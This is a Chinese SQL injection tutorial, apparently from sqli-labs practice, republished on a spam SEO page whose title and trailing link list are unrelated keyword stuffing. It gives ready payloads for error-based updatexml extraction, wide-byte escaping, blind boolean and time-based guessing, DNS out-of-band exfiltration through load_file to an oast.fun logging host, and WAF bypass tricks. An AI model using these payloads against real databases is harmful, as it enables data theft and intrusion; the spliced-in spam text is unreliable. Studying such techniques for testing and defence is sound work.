当前位置: 首页 > news >正文

网站排行榜上升代码培训心得体会范文大全1000字

网站排行榜上升代码,培训心得体会范文大全1000字,建设一个广告联盟的网站,那个做头像的网站好一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。 二、 SQL注入的简单流程 第一步:判断目标站点,…

一、Sql注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

二、 SQL注入的简单流程

第一步:判断目标站点,是否存在注入漏洞
向页面传入一些指令 (SQL 语句 ) ,检查指令是否被执行,如果被执行,说明页面是可能存在 SQL 注入漏洞的;如
果不能被执行,说明可能不存在 SQL 注入漏洞
常用的闭合点 : '' 单引号 "" 双引号 (' ') (" ") * *

 第二步:判断数据表的字段数量

思路 : order by 字段编号

第三步:找到页面的显错位 

结合union select 语句查看页面显错位 

第四步:判断这个站点/页面用的数据的版本和当前数据库的名称 

select database()
select version()

第五步:判断表名  

使用 information_schema 库中的 tables

第六步:判断字段名  

使用information_schema库中的columns 

第七步:查询表中的数据(拖库) 

select 各种查询

三、sql注入漏洞方式

1、报错注入

通过数据库的抛出异常信息点将我们想要的信息一并显示出来
通常使用的报错函数
updatexml( 目标 xml 内容, xml 文档路径,需要替换的内容 )
在路径的位置上输入非法符号就可以产生报错,例如 ! # $
# 语句的构造方式
select updatexml(1,concat('%',database()),1)
# 实际应用的小案例
select updatexml(1,concat('%',(select group_concat(column_name) from
information_schema.columns where table_name='tb1')),1)

获取库名和版本信息

1' and updatexml(1,concat('!',database()),1) -- qqqqqq // 获取数据库名称
1' and updatexml(1,concat('~',version()),2) -- qqqqqqq

获取库中的表的名字

1' and updatexml(1,concat('!',(select group_concat(table_name) from
information_schema.tables where table_schema="security")),1) -- qqqqqqq

 获取users的表结构(获取表的字段名字)

1' and updatexml(1,concat('!',(select group_concat(column_name) from
information_schema.columns where table_name="users" and table_schema="security")),1) --
qqqqqqq

 

获取users表的username的所有记录  

1' and updatexml(1,concat('!',(select group_concat(email_id) from emails )),1) -- qqqqqqq 

2.堆叠注入

堆叠查询可以执行多条 SQL 语句,语句之间可以使用 (;) 作为分割符。堆叠注入主要是利用在第二条执行语句当 中执行攻击语句
危害 : 通过堆叠注入可以实现,增删改查任意的语句都可以。
注入条件:
● 数据库需要支持堆叠功能
● 传入的堆叠语句能够被后端程序作为sql 语句来执行

3.宽字节注入 

宽字节注入,在 SQL 注入的时候,一般开启 gpc ,过滤掉特殊字符,实现防注入。但是如果数据库设置宽字节字
符集 gbk ,会导致宽字节注入。通过宽字节逃逸 gpc
目前市面上 gbk big5 可以实现 gpc 逃逸。
注意 : \ %5c %df%5c %9c%5c %9d%5c

gpc逃逸过程  

%df%27===> addslashes ===> %df%5c%27 ===>gbk 字符集 == 》運 '

魔术引号原理 

$a = addslashes($_GET['name']);// 魔术引号,碰到单引号或者双引号的时候自动加上 \
$b = "select * from tb1 where n='$a'";//name=tom'
echo $b;
字符与 \ 组合在 gbk 当中会组成一个中文 ( 双字节 )
案例 :
http://www.sqli.zz/Less-32/?id=-1%df%27%20%2%20%20union%20select%201,2,3%20--+

 

4.DNS外带注入又称之为 DNS盲注

需要使用 dnslog 平台来进行注入
需要使用的函数 【读取系统中的文件的内容】 load_fifile(' 路径 ') , 【向系统中写入文件】 into outfifile " 路径 "
mysql 的配置文件是高权限的情况下才能使用
mysql 的配置文件中的 secure_fifile_priv= 没有任何文件限制

 案例:

select "abc" into outfile "D:/4.txt" # abc 字符串写入到 D 盘下面的 4.txt 文件,文件如果不存在,那么 会自动创建这个文件
select load_file("D:/4.txt") # 读取 D 盘下面的 4.TXT 文件中的内容

DNS平台

用来记录其他主机对此域名的解析记录  

 代码解析

# 通过 mysql load_file 函数来实现对域名的解析
# // 表示协议访问符号
select load_file(concat('//',(select
database()),'.chvgntf2vtc0000j9mmgge7apeeyyyyyd.oast.fun/123'))

5.盲注 

布尔盲注

特点:没有显错位
根据执行结果,如果为真则显示指定内容,如果是假什么也不现实
mysql 函数
       1. length('str')
                ● 作用:计算字符串的长度
       2.substr('str',#,#)
                ● 截取字符串当中的某一个或者某几个字符
       3. ascii('str')
                ● 显示字符的ascii码

案例:

http://www.sqli.zz/Less-8/?id=1%27
构造语句
http://www.sqli.zz/Less-8/?id=1' order by 3 有数据 4 没数据
http://www.sqli.zz/Less-8/?id=1' union select 1,2,3 --+
因为没有显错位,看不到任何信息,只能靠猜测
http://www.sqli.zz/Less-8/?id=-1' or length(database()) > 4 --+ // 猜测数据库名的字符串长度 8
http://www.sqli.zz/Less-8/?id=-1' or ascii(substr(database(),1,1))<'100' --+ // 猜测数据库名的
第一个字符 8
http://www.sqli.zz/Less-8/?id=-1' or mid(database(),1,1)='a'
# 猜测表的名字
结合 BP 猜测数据库的名字
抓取请求数据包,条件:我们有构造好的 sql 语句,清空自动识别的 payload

 

自定义添加paylaod,第一 截取字符 第二 ascii数值设置 

 

构造数值起始值和终止值、步长 

 

 

时间盲注

条件:
可以通过 sql 语句执行结果的真假来判断,是否存在注入点
网络稳定、系统执行速度稳定
案例
#LESS-9
构造 payload
http://www.sqli.zz/Less-9/?id=1' and if((select
ascii(substr(database(),1,1))>'97'),sleep(3),0)--+

六、二次注入

在第一次进行数据库插入数据的时候,使用了 GPC 或者 addslashe( 魔术引号 ) ,会对引号做转义 \ ,但是 \ 不会插入到数据库当中,所以我们写入数据的时候写入的还是原数据

原理: 

业务场景 

修改密码功能
条件 : 已知用户名 ( 通过用户注册的昵称 ) 1'
修改密码 输入用户名 ( 判断用户是否存在 )---> 修改密码使用的是 (update )

七、BASE64注入 

BASE64 是一种编码格式, BASE64 注入,表示的是我们需要将恶意的 SQL 语句先进行一次 base64 转码,转码之后再传入的网站的后台程序

base64编码/解码的网站

https://tool.chinaz.com/tools/base64.aspx 

判断注入方式 GET / POST / COOKIE 

四、SQL注入的绕过

防注入 ---WAF( 网站防火墙 ) 可以拦截一些恶意注入行为。例如 IIS 安全狗, D 盾, 350webscan ,都可以对含有危害性语句做过滤和检测。
绕过 : 找到 waf 没有防御到的地方,然后进行注入。

空格字符绕过

针对对空格做过滤的waf  

可以代替空格的内容

%09 TAB 键(水平 )
%0b TAB ( 垂直 )
%0a 换行
%0c 新的一页
%0d return 功能
/**/ 代替空格
/* ! * /

大小写绕过

WAF 如果针对大写字母 SELECT INSERT 等等的 SQL 语句做过滤了,可以尝试使用 大小写子母混合编写的 SQL 语句  例如 SELECT select SeLeCT

 整数过滤

整数被过滤了,那么咱们使用 浮点型 ( 小数点的数字 )

NULL过滤 

http://www.kpl.zz/index.php?id=null%20AnD%201.0=1.0%20--+

引号绕过 

变量覆盖 

 http://www.kpl.zz/index.php?id=1%00&id=2%20--+

id=1&id=2 最终 id 是等于 2

join绕过

union做了限制 

select 1,2,3 union select 'a','b','c'

使用join进行绕过

select 1,2
等同于
select * from (select 1)a join (select 2)b

 

 

http://www.15wanjia.com/news/22487.html

相关文章:

  • 网站备案查询姓名小程序制作流程
  • 网站建设素材包电商中seo是什么意思
  • 长沙一日游最佳方案网络搜索优化
  • 哪个网站有代做课设的百度注册入口
  • 百度做网站推广百度推广销售员好做吗
  • 调兵山网站建设微信小程序排名关键词优化
  • 做网站需要准备的工具百度快照投诉中心官网
  • 国外建站网址四川全网推网络推广
  • 山东济宁刚刚出大事山东疫情seo教学实体培训班
  • 网站数据展示营销手段
  • 哈尔滨网站制作公司哪家好广州市口碑seo推广
  • 文本文档做网站怎么加图片网站流量统计分析报告
  • 北京网站设计网站设计公司价格武汉网站设计
  • 苏州网站建设制作方案有哪些免费网站可以发布广告
  • 厦门做网站排名公众号排名优化软件
  • 贵阳专业做网站今日国际新闻
  • 义乌网站制作是什么php免费开源crm系统
  • 国内flash网站站长工具seo综合查询怎么关闭
  • 企业网站开发需要网站优化推广服务
  • 信息系统推广方案湖南靠谱seo优化
  • 哪个网站可以接做美工的活儿2022年新闻摘抄简短
  • 主流网站类型自己个人怎样做电商
  • 做百度网站要注意什么泉州网站建设优化
  • 网站内容seo设计外包网站
  • 国内做服装的网站有哪些深圳营销推广引流公司
  • 手机版网站开发的功能点搜索引擎优化培训免费咨询
  • 电商网站建设注意事项足球积分排行榜最新
  • 简述网站开发的工作流程网站结构有哪几种
  • 免费个人网站源码成都seo培训
  • seo外推上排名百度站长工具seo